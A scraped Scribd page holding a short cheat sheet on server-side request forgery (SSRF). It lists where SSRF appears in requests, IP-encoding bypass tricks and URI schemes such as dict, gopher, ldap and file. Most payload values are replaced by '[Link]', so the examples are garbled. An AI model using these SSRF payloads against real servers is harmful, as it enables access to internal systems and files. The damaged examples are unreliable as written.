Scribd
Upload
7 views1 page

Understanding Server Side Request Forgery

Server Side Request Forgery (SSRF) is a web application vulnerability that enables attackers to make requests from a vulnerable server. It can be exploited through various methods, including basic and encoded payloads, as well as different URI schemes. The document outlines specific examples of how to identify and exploit SSRF vulnerabilities in web applications.

Uploaded by

SM creative
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
7 views1 page

Understanding Server Side Request Forgery

Server Side Request Forgery (SSRF) is a web application vulnerability that enables attackers to make requests from a vulnerable server. It can be exploited through various methods, including basic and encoded payloads, as well as different URI schemes. The document outlines specific examples of how to identify and exploit SSRF vulnerabilities in web applications.

Uploaded by

SM creative
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

# Server Side Request Forgery (SSRF)

## Introduction Server Side Request Forgery is a web application vulnerability


that allows attackers to make outgoing requests originating from the vulnerable
server
## Where to find Usually it can be found in the request that contain request
to another url, for example like this “‘ POST /api/check/products HTTP/1.1
Host: [Link] Content-Type: application/x-www-form-urlencoded Origin:
[Link] Referer: [Link]
urlApi=[Link] “‘
or
“‘ GET /image?url=[Link] Host: [Link] “‘
## How to exploit 1. Basic payload “‘ [Link] [Link]
“‘
2. Hex encoding “‘ [Link] -> [Link] “‘
3. Octal encoding “‘ [Link] -> [Link] “‘
4. Dword encoding “‘ [Link] -> [Link] “‘
5. Mixed encoding “‘ [Link] -> [Link] “‘
6. Using URL encoding “‘ [Link] -> [Link]
“‘
7. Using IPv6 “‘ [Link] [Link] “‘
8. Using bubble text “‘ [Link]
Use this [Link] “‘
## How to exploit (URI Scheme) 1. File scheme “‘ [Link] “‘
2. Dict scheme “‘ dict://[Link]:1337/ “‘
3. FTP scheme “‘ [Link] “‘
4. TFTP scheme “‘ t[Link] “‘
5. SFTP scheme “‘ s[Link] “‘
6. LDAP scheme “‘ ldap://[Link]:1337/ “‘
7. Gopher scheme “‘ gopher://[Link]/_Test%0ASSRF “‘

You might also like